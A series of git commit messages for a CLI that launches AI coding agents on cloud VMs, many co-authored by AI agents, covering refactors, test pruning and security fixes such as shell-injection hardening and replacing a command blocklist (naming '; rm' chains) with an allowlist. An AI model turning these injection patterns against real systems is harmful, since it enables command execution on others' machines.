The README was referencing commands.test.ts and integration.test.ts which
no longer exist (split into 20+ specialized files), and incorrectly stated
the test runner was vitest (banned — project uses bun:test). Rewrote to
accurately document all 44 test files with their coverage scope.
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
- hetzner/hermes.sh: add thin-shim header comment, blank line after
_ensure_bun definition, and section comments (Local checkout, Remote)
to match the canonical pattern used by aws/gcp/sprite/daytona
- digitalocean/hermes.sh: add detailed _run_with_restart comment block
and inline section comments (Normal exit, SIGTERM, Other failure) to
match digitalocean/claude.sh
Both scripts now produce identical output to their cloud's reference
script (e.g. aws/hermes.sh, digitalocean/claude.sh) when the agent
name is substituted.
Fixes#2082
Agent: code-health
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
* test: centralize @clack/prompts mock in test-helpers.ts
Adds mockClackPrompts() factory to test-helpers.ts, eliminating ~15-line
duplicate mock.module blocks from 19 test files. When @clack/prompts adds
a new export, only one file needs updating instead of 19.
Fixes#2080
Agent: test-engineer
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* style: fix Biome formatting after merge with main
Agent: pr-maintainer
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
---------
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Six of seven cloud main.ts files had hardcoded agent lists that were
stale (missing hermes, added in #2084). Replace all hardcoded lists
with Object.keys(agents).join(", ") so they stay in sync automatically
when new agents are added.
Agent: code-health
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
* refactor: eliminate 7 identical agents.ts boilerplate files
Adds createCloudAgents() factory to shared/agent-setup.ts, reducing
each cloud's agents.ts from 16-line copy-paste to a single call.
Net reduction of 49 lines across 9 files.
Fixes#2078
Agent: complexity-hunter
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* chore: apply biome formatting
---------
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Fixes#2079 — local/hermes was the only remaining missing entry in the
cloud×agent matrix. All 49 entries are now implemented.
Agent: ux-engineer
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
- Request missing API keys via key-server in quality mode (was fixtures-only)
- Retry quality cycle up to 3 times before giving up
- File a GitHub issue with log tail when all retries are exhausted
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: L <6723574+louisgv@users.noreply.github.com>
- Add getSpawnCloudConfigPath(cloud) helper to shared/ui.ts, eliminating
four identical 3-line getConfigPath() functions across hetzner, daytona,
digitalocean, and aws cloud modules
- Remove duplicate homedir/join imports from hetzner, daytona, digitalocean,
and aws now that the shared helper centralizes the path construction
- Update commands.ts hasCloudConfigCredentials to use the shared helper
and drop its stale homedir import
- Bump CLI to 0.11.24 (patch)
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: L <6723574+louisgv@users.noreply.github.com>
Remove 14 redundant tests across two files:
- check-entity.test.ts: Remove 6 individual "valid entities" tests
(claude, codex, cline as agents; sprite, hetzner, vultr as clouds) that
are fully covered by the loop-based "all manifest agents/clouds validate
correctly" describe blocks which exhaustively test all entities.
- check-entity.test.ts: Remove 6 individual "wrong-type detection" tests
(3 clouds-as-agents, 3 agents-as-clouds) that are covered by the loop
tests "should reject every agent key when checked as cloud" and
"should reject every cloud key when checked as agent".
- cloud-init.test.ts: Consolidate 3 NODE_INSTALL_CMD tests into 1.
"is a non-empty string" is theatrical (tests the constant exists, not
what it does). Merge with the two content checks into a single test.
Test count: 1385 → 1371.
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
- Add hermes shim scripts for GCP, Hetzner, DigitalOcean, and Daytona
- Update manifest.json matrix entries from "missing" to "implemented"
- Bump default INSTALL_WAIT from 300s to 600s to fix zeroclaw timeout
on small VMs where Rust compilation takes 8-12 minutes
- Update cloud READMEs with hermes usage docs
- Bump CLI version to 0.11.18
Co-authored-by: Ahmed Abushagur <ahmed@abushagur.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
API tokens never contain spaces; allowing them risks word splitting
in downstream unquoted uses of these env vars. Updated both the shell
regex in key-request.sh and the corresponding TypeScript regexes in
digitalocean.ts to stay in sync.
Fixes#2072
Agent: code-health
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
- manifest.ts: Reset _staleCache on successful fetch/cache load so
isStaleCache() doesn't falsely report stale data after reconnecting
- gcp.ts: Replace getGcloudCmd()! with requireGcloudCmd() that throws
a descriptive error instead of crashing with null dereference
- digitalocean.ts: Replace unvalidated JSON.parse return with
parseJsonObj() + isString()/isNumber() guards for type safety
Agent: code-health
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
* test: Remove duplicate and theatrical tests
Remove 4 duplicate tests spread across security and command resolution test files:
- security-edge-cases.test.ts: Remove "should accept prompts with dollar signs in
safe contexts" (duplicate of security.test.ts "should accept dollar signs in
non-expansion contexts")
- security-edge-cases.test.ts: Remove "should accept prompts with pipe to non-shell
commands" (duplicate of security.test.ts "should accept prompts with pipes to
other commands")
- security-edge-cases.test.ts: Remove "should accept prompts with semicolons not
followed by rm" (duplicate of security-encoding.test.ts "should accept semicolons
not followed by rm")
- commands-swap-resolve.test.ts: Remove "should not log resolution for already-
lowercase exact keys" (duplicate of commands-resolve-run.test.ts "should not log
resolution when exact keys are used" — identical cmdRun("claude", "sprite") call)
No functional behavior changes. Test count: 1389 → 1385.
* fix: remove trailing blank line for biome format
---------
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: L <6723574+louisgv@users.noreply.github.com>
The Sprite saveVmConnection() wrote ~/.spawn/last-connection.json without
restrictive permissions (defaulting to umask 0o644/0o755), unlike the shared
saveVmConnection() in history.ts which correctly uses mode 0o700 for the
directory and 0o600 for the file. On multi-user systems this could expose
server names and connection metadata to other users.
Agent: security-auditor
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
- Delete the exported `setupOpenclawBatched` function from `agent-setup.ts` — it was
never imported or called anywhere in the codebase (confirmed via exhaustive grep)
- Remove the unused `setup?` field from the `AgentConfig` interface in `agents.ts` —
no agent implementation ever assigned this property
- Remove the dead `if (agent.setup)` branch from `orchestrate.ts` — the batched path
was always unreachable because no agent provided a `setup` callback
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
PR #2064 fixed _exec_long shell injection for DigitalOcean and Sprite
but missed the same bash -c '${cmd}' pattern in Hetzner, GCP, AWS, and
Daytona. Apply the same base64-encoding fix to all four.
Agent: security-auditor
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
runServer and runServerCapture on Hetzner and DigitalOcean used stdio:["pipe",...]
for stdin but called proc.stdin!.end() AFTER await proc.exited. If a remote SSH
command reads from stdin (apt prompts, read calls), the process deadlocks until the
5-minute timeout fires. AWS and GCP correctly use stdio:["ignore",...].
Fix: change stdin from "pipe" to "ignore" in runServer and runServerCapture for
both Hetzner and DigitalOcean, removing the now-unnecessary stdin.end() calls.
Agent: code-health
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Base64-encode the command before embedding it in bash -c to prevent
single-quote breakout in _sprite_exec_long and _digitalocean_exec_long.
Fixes#2063
Agent: security-auditor
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Every other cloud provider (GCP, DO, Daytona) gates their size/type
picker behind SPAWN_CUSTOM !== "1" so users get a fast default launch.
Hetzner's promptLocation had the guard but promptServerType was missing
it, causing an unexpected interactive picker on the cheapest/most-used
cloud when running without --custom.
Bump CLI to 0.11.19.
Agent: team-lead
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
* test: Remove duplicate and theatrical tests
- Remove 3 duplicate/always-pass tests from commands-update-download.test.ts:
"should reject script without shebang via validateScriptContent" (already covered
in download-and-failure.test.ts and cmdrun-happy-path.test.ts),
"should reject script with dangerous pattern" (duplicate + always-pass or-chain),
"should show script-not-found message when both URLs 404" (duplicate of existing 404 test)
- Remove 5 theatrical tests from custom-flag.test.ts that only verify
constant arrays have entries with defined id/label fields (SERVER_TYPES,
LOCATIONS, DROPLET_SIZES, DO_REGIONS, SANDBOX_SIZES) — these test constant
existence, not behavior, and fail due to @openrouter/spawn-shared import error
- Bump CLI version to 0.11.18
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix: Remove trailing blank lines in custom-flag.test.ts for biome format
Agent: pr-maintainer
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
---------
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Remove orphaned sh/test/fixtures/ directory. These shell fixture files
(_shared_agent_assertions.sh, hetzner/_env.sh, hetzner/_api_assertions.sh,
digitalocean/_env.sh, digitalocean/_api_assertions.sh) were part of a mock
test harness (mock.sh) that was removed from the repository. The fixture
files reference `assert_api_called` and `MOCK_LOG` variables that are never
defined anywhere, confirming they are unreachable dead code.
Scan results:
- Dead code (sh/test/fixtures/): 5 orphaned fixture files removed
- Dead code (sh/shared, packages/cli/src/): none found
- Stale references to non-existent files: none found
- Python usage (python3 -c / python -c): none found
- Duplicate utilities across cloud modules: loadTokenFromConfig pattern
exists in hetzner/daytona/digitalocean but reads from different cloud-
specific config paths — cannot be consolidated (confirmed intentional)
- Stale comments: none found beyond those already fixed in prior PRs
-- qa/code-quality
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
* refactor: Remove dead code and stale references
Fix stale path comment in sh/shared/key-request.sh that referenced
the wrong location for loadTokenFromConfig (cli/src/ instead of
packages/cli/src/). Also updated wording from "Must match" to "Keep
in sync with" to more accurately describe the relationship.
Scan results (no other issues found):
- Dead code (sh/shared, packages/cli/src): none found
- Stale references to non-existent files: none found
- Python usage (python3 -c / python -c): none found
- Duplicate utilities across cloud modules: none (cloud-specific config
loading functions share the same pattern but read from different paths
and cannot be consolidated)
- Stale comments: one stale path in key-request.sh (fixed)
-- qa/code-quality
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* refactor: Remove dead code and stale references
Remove duplicate `log_step` function from `sh/shared/github-auth.sh`.
`log_step` was identical to `log_info` (same printf format, same output
stream) and had no semantic distinction. All 6 call sites are updated to
use `log_info` directly.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
---------
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: L <6723574+louisgv@users.noreply.github.com>
runSprite was wired as CloudRunner.runServer but silently dropped the
timeoutSecs parameter. All other clouds (Hetzner, DO, AWS, GCP, Daytona)
implement kill-on-timeout via setTimeout+killWithTimeout; Sprite had zero
timeout protection, so a hung agent install (e.g. ZeroClaw's 600s Rust
compile, Claude Code's 300s install) would hang forever on Sprite.
Matches the pattern used by every other cloud provider.
Agent: team-lead
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
- manifest-type-contracts.test.ts: Replace 42 per-agent/per-cloud
silently-skipping tests (if field === undefined { return }) with 6
aggregate tests that filter to entries that actually have the field
and assert the field count > 0 so the test can't pass vacuously.
Affected: pre_launch, config_files, notes (agents); defaults, notes,
icon (clouds).
- history.test.ts: Remove always-pass test "throws for SPAWN_HOME
pointing to /root when user home is different" — it silently returns
early whenever the CI environment runs as root (which it always does),
providing zero signal. The adjacent "throws for SPAWN_HOME outside
home directory" test already covers this semantic.
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(sprite): fix all 6 Sprite agent installs for E2E
- Use `npm install -g --prefix` instead of `npm config set prefix` to
avoid creating .npmrc that conflicts with nvm on Sprite VMs
- Fix shell environment setup to only modify .bash_profile (not .bashrc)
so non-interactive bash -c commands retain PATH config
- Add $HOME/.cargo/bin to PATH for zeroclaw (Sprite has no ~/.cargo/env)
- Add $HOME/.local/bin to PATH config for Sprite shell environment
- Add sprite E2E cloud driver with org detection, config corruption fix,
direct command embedding (not $1 positional), and retry logic
- Fix provision.sh to kill full process tree after timeout (prevents
orphaned sprite exec sessions from corrupting config)
- Fix verify.sh zeroclaw check to not rely on ~/.cargo/env existing
Tested: 6/6 Sprite agents pass E2E (claude, codex, openclaw, zeroclaw,
opencode, kilocode). Hermes is not in the Sprite manifest.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix: biome format - collapse runSprite call to single line
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: L <6723574+louisgv@users.noreply.github.com>
Fix stale path comment in sh/shared/key-request.sh that referenced
the wrong location for loadTokenFromConfig (cli/src/ instead of
packages/cli/src/). Also updated wording from "Must match" to "Keep
in sync with" to more accurately describe the relationship.
Scan results (no other issues found):
- Dead code (sh/shared, packages/cli/src): none found
- Stale references to non-existent files: none found
- Python usage (python3 -c / python -c): none found
- Duplicate utilities across cloud modules: none (cloud-specific config
loading functions share the same pattern but read from different paths
and cannot be consolidated)
- Stale comments: one stale path in key-request.sh (fixed)
-- qa/code-quality
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
* test: Remove duplicate and theatrical tests
- check-entity.test.ts: Remove 'kind parameter consistency' describe block
(9 tests) that fully duplicated coverage already provided by 'valid entities',
'wrong-type detection: cloud given as agent', and 'wrong-type detection: agent
given as cloud' describes. Also remove redundant loop assertions ('should
return true for all three agent keys' etc.) that repeated what the individual
named tests already covered.
- manifest-cache-lifecycle.test.ts: Replace Record<string, any> with
Record<string, AgentDef> and Record<string, CloudDef> for type safety.
1401 tests pass, 0 fail. Lint clean.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix: remove extra blank line to pass Biome format check
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* test: Remove duplicate and theatrical tests
Remove redundant if-guards around always-present agent metadata fields in
manifest-type-contracts.test.ts. All 12 metadata fields (creator, repo,
license, created, added, github_stars, stars_updated, language, runtime,
category, tagline, tags) are present on all 7 agents, making the
if (agent.X !== undefined) guards always-truthy dead code that misleads
readers into thinking tests might be skipped. Restructure into proper
per-agent describe blocks to make the test structure honest and clear.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix: Apply Biome formatting to array literal
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* test: Remove duplicate and theatrical tests
Fix always-pass anti-pattern in manifest-type-contracts.test.ts where
optional field type tests were gated by `if (field !== undefined)` OUTSIDE
the `it()` block. When no agent/cloud had the field, zero tests registered,
giving false confidence.
Changes:
- Agent optional field types: move condition inside `it()`, test always runs
- Cloud optional field types: same fix, tests always register for all clouds
- Interactive prompts structure: consolidate filtered loop into one `it()` that
iterates internally, avoiding silently-absent test registrations
- Config files structure: same consolidation pattern
Before: 551 pass, 64 fail (optional field tests only registered per-agent)
After: 566 pass, 64 fail (optional field tests register for every agent/cloud)
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* style: fix biome lint errors - add block statements to early returns
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* style: apply biome formatter to block statements
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
---------
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: L <6723574+louisgv@users.noreply.github.com>
Adds explicit monitoring obligation and step-by-step migration
checklist to the DO_CLIENT_SECRET comment. Tracks when PKCE was last
verified unsupported (2026-03) and what to do when it becomes
available, addressing the technical debt tracking request from #2041.
Fixes#2041
Agent: security-auditor
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix(security): replace validateLaunchCmd blocklist with allowlist
The blocklist pattern />\\s*\\// (redirection to absolute path) matched
2>/dev/null, which appears in every valid launch command generated by
agent-setup.ts. This caused mergeLastConnection() to reject and discard
all connection data, breaking the spawn list → "Enter agent" reconnect
flow and spawn last.
Replace the blocklist with a strict allowlist: each semicolon-separated
segment must match one of:
- source ~/.<rc-file> [2>/dev/null]
- export PATH=<safe-path>
- <binary> [simple-args]
This simultaneously fixes the false-positive and closes the latent
injection gap (the old blocklist only blocked '; rm' but not arbitrary
'; <other-cmd>').
Fixes#2052
Agent: issue-fixer
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* style: apply biome formatter to fix CI format check
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
---------
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
`cmdLast()` was always calling `cmdRun()`, creating a brand-new VM every
time. Wire it into `handleRecordAction()` instead, which already contains
the reconnect-vs-rerun logic used by `spawn list`: if the latest history
record has a live connection (IP + server ID), the user is offered options
to enter the agent or SSH in; only if no connection info exists (or the
user chooses "Spawn a new VM") does it provision a fresh instance.
Also bumps CLI version 0.11.13 → 0.11.14.
Fixes#2050
Agent: issue-fixer
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
* test: Remove duplicate and theatrical tests
- check-entity.test.ts: Remove 'kind parameter consistency' describe block
(9 tests) that fully duplicated coverage already provided by 'valid entities',
'wrong-type detection: cloud given as agent', and 'wrong-type detection: agent
given as cloud' describes. Also remove redundant loop assertions ('should
return true for all three agent keys' etc.) that repeated what the individual
named tests already covered.
- manifest-cache-lifecycle.test.ts: Replace Record<string, any> with
Record<string, AgentDef> and Record<string, CloudDef> for type safety.
1401 tests pass, 0 fail. Lint clean.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix: remove extra blank line to pass Biome format check
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
* test: Remove duplicate and theatrical tests
Remove redundant if-guards around always-present agent metadata fields in
manifest-type-contracts.test.ts. All 12 metadata fields (creator, repo,
license, created, added, github_stars, stars_updated, language, runtime,
category, tagline, tags) are present on all 7 agents, making the
if (agent.X !== undefined) guards always-truthy dead code that misleads
readers into thinking tests might be skipped. Restructure into proper
per-agent describe blocks to make the test structure honest and clear.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
* fix: Apply Biome formatting to array literal
Co-Authored-By: Claude Sonnet 4.5 <noreply@anthropic.com>
---------
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: L <6723574+louisgv@users.noreply.github.com>
Non-interactive SSH sessions don't source .bashrc or .zshrc, so binaries
installed to ~/.local/bin (hermes via uv) or ~/.npm-global/bin (codex,
kilocode via npm) were not found during verification.
Fix all three verify functions and the codex input test to use explicit
PATH with the known install directories, matching the pattern already
used by openclaw and claude.
Verified: AWS 7/7, Hetzner 6/6 implemented, GCP 6/6 implemented.
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
The teardown was doing a single DELETE without --max-time, so connection
timeouts caused HTTP 000 and the droplet was never deleted. When running
6 agents in batches of 3, batch 1's stale droplet caused batch 2 to fail
with "will exceed your droplet limit."
Fix:
- Add --max-time 30 to prevent curl hangs
- Retry DELETE up to 3 times on failure
- Poll the API after DELETE to confirm the droplet is actually gone (up to 60s)
- Remove -f flag from curl so %{http_code} is always captured
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
The openclaw e2e input test was failing for three independent reasons:
1. PATH missing ~/.npm-global/bin — openclaw installs via npm with a
custom prefix, but verify_openclaw and input_test_openclaw didn't
include that directory in PATH
2. Wrong CLI invocation — used `openclaw -p` which doesn't exist.
The correct command is `openclaw agent --message "..." --session-id`
3. Gateway not running — the openclaw gateway (port 18789) can die
between provisioning and verification. Now the input test ensures
the gateway is running before sending the prompt.
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: L <6723574+louisgv@users.noreply.github.com>
Remove `export` from functions that are only used internally within their
own file and never imported elsewhere. Affected modules:
- `history.ts`: `mergeLastConnection` (only called internally by `getActiveServers`/`filterHistory`)
- `update-check.ts`: `isUpdateBackedOff` (only called internally by `checkForUpdates`)
- `aws/aws.ts`: `waitForSsh` (only called internally by `waitForCloudInit`)
- `gcp/gcp.ts`: `waitForSsh` (only called internally by `waitForCloudInit`)
- `daytona/daytona.ts`: `waitForSsh` (only called internally by `waitForCloudInit`)
- `shared/agent-setup.ts`: 11 implementation helpers (`installAgent`, `uploadConfigFile`,
`installClaudeCode`, `setupClaudeCodeConfig`, `promptGithubAuth`, `setupCodexConfig`,
`setupOpenclawConfig`, `startGateway`, `setupZeroclawConfig`, `ensureSwapSpace`,
`openCodeInstallCmd`) — all only used within `createAgents()`
All 1410 tests pass, biome lint clean (0 errors).
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: L <6723574+louisgv@users.noreply.github.com>
Hermes agent was fully implemented in shared/agent-setup.ts (createAgents
includes hermes with install, envVars, and launchCmd) but the convenience
shell script sh/aws/hermes.sh was missing and the matrix showed "missing".
- Add sh/aws/hermes.sh (matching pattern of all other aws agent scripts)
- Update manifest.json: "aws/hermes" -> "implemented"
- Update sh/aws/README.md with Hermes Agent install command
Discovered during QA E2E sweep: E2E suite lists hermes in ALL_AGENTS and
would attempt to provision it; without the matrix entry and script the
agent was silently untracked as a missing implementation gap.
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
The bash install URL was missing the /cli/ path segment, and the
PowerShell URL was pointing to raw.githubusercontent.com instead of the
openrouter.ai domain. Fixed all three occurrences.
Closes#2032
Co-authored-by: Claude <claude@anthropic.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: L <6723574+louisgv@users.noreply.github.com>
When HOME is unset (containers, systemd, cron, some CI), two files still used
`process.env.HOME || ""` which produces broken paths:
- local/local.ts:38 — uploadFile() expands ~ to "", writing config files to
filesystem root (e.g. /.openclaw/openclaw.json) instead of ~/.openclaw/
- commands.ts:898 — hasCloudConfigCredentials() checks "" + .config/spawn/
resolving to /.config/spawn/{cloud}.json, silently failing credential
detection and causing false "Missing credentials" warnings on every run
Fix: add `import { homedir } from "node:os"` to both files and change
`process.env.HOME || ""` to `process.env.HOME || homedir()`.
Completes the HOME hardening series started in #2026 and #2036.
Agent: team-lead
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
When a user denies OAuth access on OpenRouter or DigitalOcean, the CLI
now immediately shows a clear error message and falls back to manual
key entry, instead of silently waiting the full 120s poll timeout.
Changes:
- OpenRouter OAuth: check for `error` query param on callback, set
`oauthDenied` flag, show denial-specific HTML page in browser, break
polling loop early, and log a clear terminal error
- DigitalOcean OAuth: add `oauthDenied` flag (error detection already
existed but the polling loop still waited 120s), break loop early
Fixes#2038
Agent: code-health
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
When HOME is unset (containers, systemd, cron), process.env.HOME produces
literal "undefined" in path strings:
- ssh-keys.ts: SSH discovery/generation writes to "undefined/.ssh/"
- sprite.ts: CLI detection misses ~/.local/bin, PATH update corrupted
- gcp.ts: gcloud detection misses ~/google-cloud-sdk/bin, PATH corrupted
Same fix as #2026: use `process.env.HOME || homedir()` via `join()` for
robust OS-level fallback when HOME is unset.
Agent: team-lead
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Display a hint before launching `openclaw tui` warning users to set
up channels one at a time. Concurrent token pastes trigger a race
condition inside OpenClaw's TUI that causes setup to hang.
Adds an optional `preLaunchMsg` field to `AgentConfig` so any agent
can surface a user-visible tip just before its interactive session
starts. OpenClaw sets this to advise sequential channel onboarding.
Fixes#2030
Agent: issue-fixer
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Fixes#2027
PR #2023 added Hermes to manifest.json with an icon URL pointing to
assets/agents/hermes.png, but the file and the .sources.json entry
were never committed. This caused a 404 on the icon URL.
- Download hermes.png from Nous Research GitHub org avatar
- Add hermes entry to assets/agents/.sources.json
Agent: issue-fixer
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
- Add missing /cli/ path segment to main bash install URL
- Replace raw.githubusercontent.com with openrouter.ai domain for PowerShell install
- Replace raw.githubusercontent.com with openrouter.ai domain for troubleshooting install
Fixes#2032
Agent: issue-fixer
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
- Add `hermes` to ALL_AGENTS in sh/e2e/lib/common.sh (stale: hermes added to
manifest.json in #2023 but never added to the e2e agent list)
- Add verify_hermes() and input_test_hermes() to sh/e2e/lib/verify.sh and
wire them into verify_agent/run_input_test dispatch tables
- Remove dead log_warn() from sh/shared/github-auth.sh (defined but never called)
- Remove dead get_cloud_env_vars() from sh/shared/key-request.sh (no callers outside file)
- Remove dead invalidate_cloud_key() from sh/shared/key-request.sh (no callers anywhere)
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
Co-authored-by: L <6723574+louisgv@users.noreply.github.com>
Fixes#2025
Silent credential loss in Docker/CI when HOME is unset. Use node:os
homedir() which has OS-level fallbacks and matches history.ts pattern.
Prefer process.env.HOME when set to respect test sandboxing overrides.
Agent: code-health
Co-authored-by: B <6723574+louisgv@users.noreply.github.com>
Co-authored-by: Claude Sonnet 4.5 <noreply@anthropic.com>
Replace the continuously-appending tool list with a cleaner 3-part footer:
1. Latest tool call (swapped, not appended) — shows current tool + hint
2. Compact stats line — "1× Bash, 4× Read, 5× Grep, 8× Glob"
3. Expandable attachment — full ordered tool history (Slack auto-collapses)
Also adds toolHint field to SlackSegment, extracts formatToolStats and
formatToolHistory as tested helpers, and adds 19 new unit tests.
Co-authored-by: Claude <claude@anthropic.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: L <6723574+louisgv@users.noreply.github.com>
Remove 18 redundant/theatrical tests from unknown-flags.test.ts:
- Removed duplicate 'should detect --verbose as unknown' test (same name,
same assertion, nearly identical inputs as the test 28 lines above it)
- Consolidated 14 individual 'allows known flags' tests — each called
findUnknownFlag([flag]) with a single flag and expected null — into one
data-driven loop over all 17 flags; same coverage, 13 fewer test cases
- Removed 'should contain --name flag' which is fully subsumed by the
immediately following 'should contain all expected flags' test that
already verifies --name along with 22 other flags
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
The hermes agent was added to manifest.json and sh/sprite/hermes.sh in
feat #2023, but createAgents() in shared/agent-setup.ts was not updated.
This caused sh/sprite/hermes.sh to throw "Unknown agent: hermes" when
resolveAgent() was called.
- Add hermes entry to createAgents() with correct install cmd, envVars, and launchCmd
- Update sprite/main.ts usage error message to include hermes
Co-authored-by: spawn-qa-bot <qa@openrouter.ai>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>